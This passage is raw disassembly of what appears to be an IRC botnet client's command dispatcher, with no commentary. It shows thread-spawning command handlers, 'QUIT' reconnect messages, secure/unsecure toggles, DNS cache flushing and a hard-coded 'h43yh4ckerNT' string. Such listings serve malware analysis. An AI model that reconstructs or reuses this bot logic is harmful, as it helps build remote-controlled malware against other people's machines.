sub_401B66+1F37j cmp [ebp+var_8], ebx jnz short loc_403A6C push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 14h loc_403A6C: ; CODE XREF: sub_401B66+1EE8j lea eax, [ebp+var_2C0] push eax call sub_4157A5 pop ecx loc_403A79: ; CODE XREF: sub_401B66+1CBAj add [ebp+arg_10], 0Bh mov eax, [ebp+arg_10] cmp [eax], bl jnz loc_4037D6 jmp loc_401F9E ; --------------------------------------------------------------------------- loc_403A8D: ; CODE XREF: sub_401B66+1F35j push 32h call dword_428064 ; Sleep loc_403A95: ; CODE XREF: sub_401B66+1EC8j cmp [ebp+var_718], ebx jz short loc_403A8D jmp short loc_403A4B ; --------------------------------------------------------------------------- loc_403A9F: ; CODE XREF: sub_401B66+1D36j push offset unk_42D56C jmp loc_406EB7 ; --------------------------------------------------------------------------- loc_403AA9: ; CODE XREF: sub_401B66+1A8Cj ; sub_401B66+1AA1j push 5 call sub_40B1CF test eax, eax pop ecx jle short loc_403ABF push offset unk_42D54C jmp loc_406EB7 ; --------------------------------------------------------------------------- loc_403ABF: ; CODE XREF: sub_401B66+1F4Dj mov eax, [ebp+esi+var_8C] mov edi, 104h cmp eax, ebx jz short loc_403AE2 push eax lea eax, [ebp+var_2E50] push edi push eax call sub_41C150 add esp, 0Ch jmp short loc_403AF1 ; --------------------------------------------------------------------------- loc_403AE2: ; CODE XREF: sub_401B66+1F67j lea eax, [ebp+var_2E50] push edi push eax push ebx call dword_428074 ; GetModuleFileNameA loc_403AF1: ; CODE XREF: sub_401B66+1F7Aj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B01 mov esi, offset byte_42A10C loc_403B01: ; CODE XREF: sub_401B66+1F94j push esi lea eax, [ebp+var_2D4C] push edi push eax call sub_41C150 mov eax, dword_42A07C push 7Fh push [ebp+var_88] mov [ebp+var_2C40], eax mov eax, [ebp+arg_4] mov [ebp+var_2C44], ebx mov [ebp+var_2E54], eax lea eax, [ebp+var_2C3C] push eax call sub_41BDC0 mov eax, [ebp+var_4] mov [ebp+var_2BBC], eax mov eax, [ebp+var_8] mov [ebp+var_2BB8], eax lea eax, [ebp+var_2E50] push eax lea eax, [ebp+var_2C0] push [ebp+var_2C40] push offset unk_42D518 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 5 push eax call sub_40AF8D add esp, 34h mov [ebp+var_2C48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2E54] push ebx push eax push offset sub_411DF4 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_2C48] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_403BCD call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42D4DC jmp loc_405F5E ; --------------------------------------------------------------------------- loc_403BC5: ; CODE XREF: sub_401B66+206Dj push 32h call dword_428064 ; Sleep loc_403BCD: ; CODE XREF: sub_401B66+204Cj cmp [ebp+var_2BB4], ebx jz short loc_403BC5 jmp loc_406EC5 ; --------------------------------------------------------------------------- loc_403BDA: ; CODE XREF: sub_401B66:loc_4035C8j ; sub_401B66+1A77j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403BF9 push edi call sub_41BF49 test eax, eax pop ecx jz short loc_403BF9 push edi call sub_41BF49 pop ecx jmp short loc_403BFE ; --------------------------------------------------------------------------- loc_403BF9: ; CODE XREF: sub_401B66+207Dj ; sub_401B66+2088j mov eax, dword_4CDB04 loc_403BFE: ; CODE XREF: sub_401B66+2091j mov esi, [ebp+esi+var_88] mov [ebp+var_36C4], eax xor eax, eax cmp [ebp+var_8F8], bl setz al cmp esi, ebx mov [ebp+var_36B0], eax jz short loc_403C31 lea eax, [ebp+var_37C8] push esi push eax call sub_41C056 pop ecx pop ecx jmp short loc_403C5C ; --------------------------------------------------------------------------- loc_403C31: ; CODE XREF: sub_401B66+20B8j lea eax, [ebp+var_4FF0] push 104h push eax call dword_428078 ; GetSystemDirectoryA push ebx push ebx lea eax, [ebp+var_4C4] push ebx push eax lea eax, [ebp+var_4FF0] push eax call sub_41C1A1 add esp, 14h loc_403C5C: ; CODE XREF: sub_401B66+20C9j lea eax, [ebp+var_37C8] push eax call sub_41B7B0 cmp [ebp+eax+var_37C9], 5Ch pop ecx jnz short loc_403C87 lea eax, [ebp+var_37C8] push eax call sub_41B7B0 pop ecx mov [ebp+eax+var_37C9], bl loc_403C87: ; CODE XREF: sub_401B66+210Bj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A50] mov [ebp+var_3A54], esi push 80h push eax call sub_41C150 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B4], eax lea eax, [ebp+var_37C8] mov [ebp+var_36B8], edi push eax push [ebp+var_36C4] push esi call sub_40AB14 pop ecx push eax lea eax, [ebp+var_2C0] push offset unk_42D4A0 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 3 push eax call sub_40AF8D add esp, 20h mov [ebp+var_36BC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A54] push ebx push eax push offset sub_40F956 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_36BC] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_403D42 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42D464 jmp loc_403E6C ; --------------------------------------------------------------------------- loc_403D3A: ; CODE XREF: sub_401B66+21E2j push 32h call dword_428064 ; Sleep loc_403D42: ; CODE XREF: sub_401B66+21C1j cmp [ebp+var_36A8], ebx jz short loc_403D3A jmp loc_403E7B ; --------------------------------------------------------------------------- loc_403D4F: ; CODE XREF: sub_401B66+1A38j ; sub_401B66+1A4Dj mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403D6E push edi call sub_41BF49 test eax, eax pop ecx jz short loc_403D6E push edi call sub_41BF49 pop ecx jmp short loc_403D73 ; --------------------------------------------------------------------------- loc_403D6E: ; CODE XREF: sub_401B66+21F2j ; sub_401B66+21FDj mov eax, dword_42A080 loc_403D73: ; CODE XREF: sub_401B66+2206j mov [ebp+var_1820], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403D8A lea eax, [ebp+var_C0] loc_403D8A: ; CODE XREF: sub_401B66+221Cj push eax lea eax, [ebp+var_1960] push 40h push eax call sub_41C150 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403DAC mov esi, offset byte_43FE14 loc_403DAC: ; CODE XREF: sub_401B66+223Fj push esi lea eax, [ebp+var_1920] push 100h push eax call sub_41C150 push [ebp+var_88] lea eax, [ebp+var_19E0] push 80h push eax call sub_41C150 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 18h mov [ebp+var_180C], eax lea eax, [ebp+var_1960] push eax mov [ebp+var_19E4], esi push [ebp+var_1820] mov [ebp+var_1810], edi push esi call sub_40AB14 pop ecx push eax lea eax, [ebp+var_2C0] push offset unk_42D428 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 9 push eax call sub_40AF8D add esp, 20h mov [ebp+var_181C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E4] push ebx push eax push offset sub_4110CE push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_181C] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_403EA1 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42D3EC loc_403E6C: ; CODE XREF: sub_401B66+21CFj ; sub_401B66+4C14j ... lea eax, [ebp+var_2C0] push eax call sub_41C056 add esp, 0Ch loc_403E7B: ; CODE XREF: sub_401B66+21E4j ; sub_401B66+2343j ... cmp [ebp+var_8], ebx jnz loc_402418 push ebx push edi loc_403E86: ; CODE XREF: sub_401B66+64A6j lea eax, [ebp+var_2C0] push eax push [ebp+var_88] push esi jmp loc_406EE2 ; --------------------------------------------------------------------------- loc_403E99: ; CODE XREF: sub_401B66+2341j push 32h call dword_428064 ; Sleep loc_403EA1: ; CODE XREF: sub_401B66+22F8j cmp [ebp+var_1808], ebx jz short loc_403E99 jmp short loc_403E7B ; --------------------------------------------------------------------------- loc_403EAB: ; CODE XREF: sub_401B66+1A0Ej ; sub_401B66+1A23j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EBE push esi call sub_41BF49 jmp short loc_403EC5 ; --------------------------------------------------------------------------- loc_403EBE: ; CODE XREF: sub_401B66+234Ej push 0Bh call sub_40B1EE loc_403EC5: ; CODE XREF: sub_401B66+2356j cmp eax, ebx pop ecx jz loc_40976F push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B8CE jmp loc_4043C0 ; --------------------------------------------------------------------------- loc_403EE5: ; CODE XREF: sub_401B66+19E4j ; sub_401B66+19F9j mov eax, dword_4CDB80 cmp eax, ebx jz short loc_403F08 call eax ; DnsFlushResolverCache test eax, eax lea eax, [ebp+var_2C0] jz short loc_403F01 push offset unk_42D3C8 jmp short loc_403F13 ; --------------------------------------------------------------------------- loc_403F01: ; CODE XREF: sub_401B66+2392j push offset unk_42D39C jmp short loc_403F13 ; --------------------------------------------------------------------------- loc_403F08: ; CODE XREF: sub_401B66+2386j push offset unk_42D370 lea eax, [ebp+var_2C0] loc_403F13: ; CODE XREF: sub_401B66+2399j ; sub_401B66+23A0j ... push 200h push eax call sub_41C150 jmp loc_406C98 ; --------------------------------------------------------------------------- loc_403F23: ; CODE XREF: sub_401B66+19BAj ; sub_401B66+19CFj call sub_40AA3C test eax, eax lea eax, [ebp+var_2C0] jz short loc_403F39 push offset unk_42D34C jmp short loc_403F13 ; --------------------------------------------------------------------------- loc_403F39: ; CODE XREF: sub_401B66+23CAj push offset unk_42D320 jmp short loc_403F13 ; --------------------------------------------------------------------------- loc_403F40: ; CODE XREF: sub_401B66+1990j ; sub_401B66+19A5j cmp [ebp+var_8], ebx jnz short loc_403F5F push ebx push [ebp+var_4] push offset dword_42D308 push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 14h loc_403F5F: ; CODE XREF: sub_401B66+23DDj push ebx push [ebp+var_4] call sub_4188B1 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 push offset dword_42D2EC jmp loc_40428D ; --------------------------------------------------------------------------- loc_403F81: ; CODE XREF: sub_401B66+183Ej ; sub_401B66+1853j push 0Ah call sub_40B1CF test eax, eax pop ecx jle short loc_403F94 push offset unk_42D2C0 jmp short loc_403FB5 ; --------------------------------------------------------------------------- loc_403F94: ; CODE XREF: sub_401B66+2425j push [ebp+var_88] push [ebp+arg_4] call sub_41A413 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FB0 push offset unk_42D298 jmp short loc_403FB5 ; --------------------------------------------------------------------------- loc_403FB0: ; CODE XREF: sub_401B66+2441j push offset unk_42D278 loc_403FB5: ; CODE XREF: sub_401B66+242Cj ; sub_401B66+2448j ... lea eax, [ebp+var_2C0] push eax call sub_41C056 pop ecx pop ecx loc_403FC3: ; CODE XREF: sub_401B66+5780j ; sub_401B66+70CBj cmp [ebp+var_8], ebx jnz short loc_403FE4 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_403FDC: ; CODE XREF: sub_401B66+6D24j call sub_409982 add esp, 14h loc_403FE4: ; CODE XREF: sub_401B66+2460j ; sub_401B66+267Bj ... lea eax, [ebp+var_2C0] push eax call sub_4157A5 jmp loc_4098F0 ; --------------------------------------------------------------------------- loc_403FF5: ; CODE XREF: sub_401B66+1814j ; sub_401B66+1829j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A6D9 jmp loc_4042AE ; --------------------------------------------------------------------------- loc_40400E: ; CODE XREF: sub_401B66+17EAj ; sub_401B66+17FFj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_417187 jmp loc_4042AE ; --------------------------------------------------------------------------- loc_40402B: ; CODE XREF: sub_401B66+17C0j ; sub_401B66+17D5j or edi, 0FFFFFFFFh call dword_4280A8 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404054 push esi call sub_41BF49 pop ecx mov edi, eax loc_404054: ; CODE XREF: sub_401B66+24E3j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406D cmp edi, 0FFFFFFFFh jnz loc_40976F loc_40406D: ; CODE XREF: sub_401B66+24FCj push ebx call sub_41B05C push eax lea eax, [ebp+var_2C0] push offset dword_42D260 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 lea eax, [ebp+var_2C0] push eax call sub_4157A5 loc_4040AA: ; CODE XREF: sub_401B66+5DD7j add esp, 28h jmp loc_40976F ; --------------------------------------------------------------------------- loc_4040B2: ; CODE XREF: sub_401B66+1796j ; sub_401B66+17ABj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416028 lea eax, [ebp+var_2C0] push offset dword_42D240 push eax call sub_41C056 loc_4040D4: ; CODE XREF: sub_401B66+66C6j add esp, 14h jmp loc_406EC5 ; --------------------------------------------------------------------------- loc_4040DC: ; CODE XREF: sub_401B66+176Cj ; sub_401B66+1781j push 27h call sub_40B1CF test eax, eax pop ecx jle short loc_40410D cmp [ebp+var_8], ebx jnz loc_401F9E push ebx push [ebp+var_4] push offset unk_42D220 push [ebp+var_88] push [ebp+arg_4] call sub_409982 jmp loc_408C4B ; --------------------------------------------------------------------------- loc_40410D: ; CODE XREF: sub_401B66+2580j push [ebp+var_88] lea eax, [ebp+var_B28] push 80h push eax call sub_41C150 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B2C], eax mov eax, [ebp+var_4] mov [ebp+var_AA0], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_A9C], eax mov [ebp+var_AA4], ebx jz short loc_40416E push esi push offset aFull ; "full" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40416E mov [ebp+var_AA4], 1 loc_40416E: ; CODE XREF: sub_401B66+25EBj ; sub_401B66+25FCj lea eax, [ebp+var_2C0] push offset dword_42D1FC push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 27h push eax call sub_40AF8D add esp, 14h mov [ebp+var_AA8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B2C] push ebx push eax push offset sub_41A09A push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_AA8] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_4041EE call dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2C0] push offset unk_42D1C0 push eax call sub_41C056 add esp, 0Ch jmp loc_403FE4 ; --------------------------------------------------------------------------- loc_4041E6: ; CODE XREF: sub_401B66+268Ej push 32h call dword_428064 ; Sleep loc_4041EE: ; CODE XREF: sub_401B66+265Ej cmp [ebp+var_A98], ebx jz short loc_4041E6 jmp loc_403FE4 ; --------------------------------------------------------------------------- loc_4041FB: ; CODE XREF: sub_401B66+1742j ; sub_401B66+1757j cmp [ebp+var_8], ebx jnz short loc_40421A push ebx push [ebp+var_4] push offset dword_42D1A4 push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 14h loc_40421A: ; CODE XREF: sub_401B66+2698j push [ebp+arg_4] call dword_4CDCFC ; closesocket call dword_4CDBBC ; WSACleanup call sub_418A34 push ebx call dword_428068 ; ExitProcess loc_404235: ; CODE XREF: sub_401B66+1718j ; sub_401B66+172Dj push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41B1FC pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 push offset dword_42D188 jmp short loc_40428D ; --------------------------------------------------------------------------- loc_404260: ; CODE XREF: sub_401B66+16EEj ; sub_401B66+1703j push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B4B0 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 push offset dword_42D16C loc_40428D: ; CODE XREF: sub_401B66+2416j ; sub_401B66+26F8j call sub_4157A5 loc_404292: ; CODE XREF: sub_401B66+6E2Dj add esp, 18h jmp loc_40976F ; --------------------------------------------------------------------------- loc_40429A: ; CODE XREF: sub_401B66+16C4j ; sub_401B66+16D9j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415845 loc_4042AE: ; CODE XREF: sub_401B66+37Bj ; sub_401B66+24A3j ... add esp, 10h jmp loc_401F9E ; --------------------------------------------------------------------------- loc_4042B6: ; CODE XREF: sub_401B66+169Aj ; sub_401B66+16AFj cmp [ebp+var_C], ebx mov [ebp+var_1590], bl jz short loc_4042F5 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042F5 push esi push [ebp+var_C] call sub_41C0D0 pop ecx cmp eax, ebx pop ecx jz short loc_4042F5 push eax push offset aS_2 ; "%s" lea eax, [ebp+var_1590] push 80h push eax call sub_41C150 add esp, 10h loc_4042F5: ; CODE XREF: sub_401B66+2759j ; sub_401B66+2764j ... push [ebp+var_88] lea eax, [ebp+var_1610] push 80h push eax call sub_41C150 mov eax, [ebp+arg_4] push offset dword_42D154 mov [ebp+var_1614], eax mov eax, [ebp+var_4] mov [ebp+var_150C], eax mov eax, [ebp+var_8] mov [ebp+var_1508], eax lea eax, [ebp+var_2C0] push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 25h push eax call sub_40AF8D add esp, 20h mov [ebp+var_1510], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1614] push ebx push eax push offset sub_415886 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_1510] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_404398 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42D11C jmp loc_4098EA ; --------------------------------------------------------------------------- loc_404390: ; CODE XREF: sub_401B66+2838j push 32h call dword_428064 ; Sleep loc_404398: ; CODE XREF: sub_401B66+2817j cmp [ebp+var_1504], ebx jz short loc_404390 jmp loc_401F9E ; --------------------------------------------------------------------------- loc_4043A5: ; CODE XREF: sub_401B66+1670j ; sub_401B66+1685j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41572D push offset dword_42D104 call sub_4157A5 loc_4043C0: ; CODE XREF: sub_401B66+237Aj add esp, 10h jmp loc_40976F ; --------------------------------------------------------------------------- loc_4043C8: ; CODE XREF: sub_401B66+1646j ; sub_401B66+165Bj push [ebp+var_88] lea eax, [ebp+var_BC0] push 80h push eax call sub_41C150 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC4], eax mov eax, [ebp+var_4] mov [ebp+var_B38], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B34], eax jz short loc_404422 push offset dword_42D100 push esi call sub_41C840 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B3C], eax jmp short loc_404428 ; --------------------------------------------------------------------------- loc_404422: ; CODE XREF: sub_401B66+28A0j mov [ebp+var_B3C], ebx loc_404428: ; CODE XREF: sub_401B66+28BAj lea eax, [ebp+var_2C0] push offset dword_42D0E0 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 28h push eax call sub_40AF8D add esp, 14h mov [ebp+var_B40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC4] push ebx push eax push offset sub_40AFF8 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_B40] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_4044A8 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42D0A4 loc_40448C: ; CODE XREF: sub_401B66+7633j lea eax, [ebp+var_2C0] push eax call sub_41C056 add esp, 0Ch jmp loc_406CBC ; --------------------------------------------------------------------------- loc_4044A0: ; CODE XREF: sub_401B66+2948j push 32h call dword_428064 ; Sleep loc_4044A8: ; CODE XREF: sub_401B66+2918j cmp [ebp+var_B30], ebx jz short loc_4044A0 jmp loc_406CBC ; --------------------------------------------------------------------------- loc_4044B5: ; CODE XREF: sub_401B66+15CAj ; sub_401B66+15DFj push offset aH43yh4ckernt ; "h43yh4ckerNT" lea eax, [ebp+var_2C0] push offset dword_42D08C push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 20h jmp loc_406CBC ; --------------------------------------------------------------------------- loc_4044EC: ; CODE XREF: sub_401B66+15A0j ; sub_401B66+15B5j push dword_4CD99C call sub_41B05C push eax lea eax, [ebp+var_2C0] push offset unk_42D060 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 24h jmp loc_406CBC ; --------------------------------------------------------------------------- loc_40452A: ; CODE XREF: sub_401B66+1576j ; sub_401B66+158Bj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40455C cmp [ebp+var_C], ebx jz short loc_40456B push esi push [ebp+var_C] call sub_41C0D0 pop ecx cmp eax, ebx pop ecx jz short loc_40456B push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40993C add esp, 0Ch jmp short loc_40456B ; --------------------------------------------------------------------------- loc_40455C: ; CODE XREF: sub_401B66+29CDj push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40993C pop ecx pop ecx loc_40456B: ; CODE XREF: sub_401B66+29D2j ; sub_401B66+29E1j ... push 0FFFFFFFEh pop eax jmp loc_401FA1 ; --------------------------------------------------------------------------- loc_404573: ; CODE XREF: sub_401B66+154Cj ; sub_401B66+1561j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40993C push offset dword_42D010 call sub_4157A5 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401FA1 ; --------------------------------------------------------------------------- loc_404595: ; CODE XREF: sub_401B66+1522j ; sub_401B66+1537j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40993C push offset dword_42CFDC call sub_4157A5 add esp, 0Ch jmp loc_4096DB ; --------------------------------------------------------------------------- loc_4045B4: ; CODE XREF: sub_401B66+14F8j ; sub_401B66+150Dj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B656 jmp loc_404984 ; --------------------------------------------------------------------------- loc_4045CA: ; CODE XREF: sub_401B66+14CEj ; sub_401B66+14E3j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B602 jmp loc_404984 ; --------------------------------------------------------------------------- loc_4045E0: ; CODE XREF: sub_401B66+14A4j ; sub_401B66+14B9j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B597 jmp loc_404984 ; --------------------------------------------------------------------------- loc_4045F6: ; CODE XREF: sub_401B66+147Aj ; sub_401B66+148Fj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B4C9 jmp loc_404984 ; --------------------------------------------------------------------------- loc_40460C: ; CODE XREF: sub_401B66+13D5j ; sub_401B66+13EAj push [ebp+esi+var_8C] push 27h push offset dword_42CFCC push offset dword_42CFBC jmp short loc_404634 ; --------------------------------------------------------------------------- loc_404621: ; CODE XREF: sub_401B66+13ABj ; sub_401B66+13C0j push [ebp+esi+var_8C] push 24h push offset dword_42CFB0 push offset dword_42CFA0 loc_404634: ; CODE XREF: sub_401B66+FB0j ; sub_401B66+1003j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B215 add esp, 20h jmp loc_401F9E ; --------------------------------------------------------------------------- loc_404650: ; CODE XREF: sub_401B66+FC4j ; sub_401B66+FD9j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40466F push edi call sub_41BF49 test eax, eax pop ecx jz short loc_40466F push edi call sub_41BF49 pop ecx jmp short loc_404674 ; --------------------------------------------------------------------------- loc_40466F: ; CODE XREF: sub_401B66+2AF3j ; sub_401B66+2AFEj mov eax, dword_42A078 loc_404674: ; CODE XREF: sub_401B66+2B07j mov esi, [ebp+esi+var_88] mov [ebp+var_58C], eax cmp esi, ebx jz short loc_404699 push esi loc_404686: ; CODE XREF: sub_401B66+2B42j lea eax, [ebp+var_59C] push 10h push eax call sub_41C150 add esp, 0Ch jmp short loc_4046B0 ; --------------------------------------------------------------------------- loc_404699: ; CODE XREF: sub_401B66+2B1Dj cmp [ebp+var_8FB], bl jz short loc_4046AA lea eax, [ebp+var_C0] push eax jmp short loc_404686 ; --------------------------------------------------------------------------- loc_4046AA: ; CODE XREF: sub_401B66+2B39j mov [ebp+var_59C], bl loc_4046B0: ; CODE XREF: sub_401B66+2B31j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_580], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_57C], eax lea eax, [ebp+var_61C] push eax mov [ebp+var_620], esi call sub_41C150 add esp, 0Ch push [ebp+var_58C] push esi call sub_40AB14 pop ecx push eax lea eax, [ebp+var_2C0] push offset dword_42CF78 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 19h push eax call sub_40AF8D add esp, 1Ch mov [ebp+var_588], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_620] push ebx push eax push offset sub_411833 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_588] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_404764 call dword_42808C ; RtlGetLastWin32Error push eax push offset dword_42CF3C jmp loc_4098EA ; --------------------------------------------------------------------------- loc_40475C: ; CODE XREF: sub_401B66+2C04j push 32h call dword_428064 ; Sleep loc_404764: ; CODE XREF: sub_401B66+2BE3j cmp [ebp+var_578], ebx jz short loc_40475C jmp loc_401F9E ; --------------------------------------------------------------------------- loc_404771: ; CODE XREF: sub_401B66+F71j ; sub_401B66+F86j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_404791 push esi call sub_41BF49 test ax, ax pop ecx jz short loc_404791 push esi call sub_41BF49 pop ecx jmp short loc_404797 ; --------------------------------------------------------------------------- loc_404791: ; CODE XREF: sub_401B66+2C14j ; sub_401B66+2C20j mov ax, word_42A084 loc_404797: ; CODE XREF: sub_401B66+2C29j push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_978], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_968], eax lea eax, [ebp+var_9F8] push eax mov [ebp+var_9FC], esi mov [ebp+var_96C], edi call sub_41C150 movzx eax, [ebp+var_978] add esp, 0Ch push eax push esi call sub_40AB14 pop ecx push eax lea eax, [ebp+var_2C0] push offset unk_42CF10 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push edi push eax push [ebp+var_88] push esi call sub_409982 push ebx lea eax, [ebp+var_2C0] push 6 push eax call sub_40AF8D add esp, 30h mov [ebp+var_974], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_9FC] push ebx push eax push offset sub_40EDB1 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_974] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_404869 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42CED0 jmp loc_4098EA ; --------------------------------------------------------------------------- loc_404861: ; CODE XREF: sub_401B66+2D09j push 32h call dword_428064 ; Sleep loc_404869: ; CODE XREF: sub_401B66+2CE8j cmp [ebp+var_964], ebx jz short loc_404861 jmp loc_401F9E ; --------------------------------------------------------------------------- loc_404876: ; CODE XREF: sub_401B66+F1Dj ; sub_401B66+F32j ... push edi push offset aSecure ; "secure" call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_40489E push edi push offset aSec ; "sec" call sub_41C840 pop ecx mov [ebp+var_A0C], ebx test eax, eax pop ecx jnz short loc_4048A8 loc_40489E: ; CODE XREF: sub_401B66+2D1Fj mov [ebp+var_A0C], 1 loc_4048A8: ; CODE XREF: sub_401B66+2D36j push [ebp+var_88] lea eax, [ebp+var_A90] push 80h push eax call sub_41C150 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A0C], ebx mov [ebp+var_A94], eax mov eax, [ebp+var_4] mov [ebp+var_A08], eax mov eax, [ebp+var_8] mov [ebp+var_A04], eax mov eax, offset aSecuring ; "Securing" jnz short loc_4048EF mov eax, offset aUnsecuring ; "Unsecuring" loc_4048EF: ; CODE XREF: sub_401B66+2D82j push eax push offset dword_42CE9C lea eax, [ebp+var_2C0] push 200h push eax call sub_41C150 push ebx lea eax, [ebp+var_2C0] push 22h push eax call sub_40AF8D add esp, 1Ch mov [ebp+var_A10], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A94] push ebx push eax push offset sub_41A5C8 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_A10] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_404966 call dword_42808C ; RtlGetLastWin32Error push eax push offset dword_42CE60 jmp loc_408338 ; --------------------------------------------------------------------------- loc_40495E: ; CODE XREF: sub_401B66+2E06j push 32h call dword_428064 ; Sleep loc_404966: ; CODE XREF: sub_401B66+2DE5j cmp [ebp+var_A00], ebx jz short loc_40495E jmp loc_402418 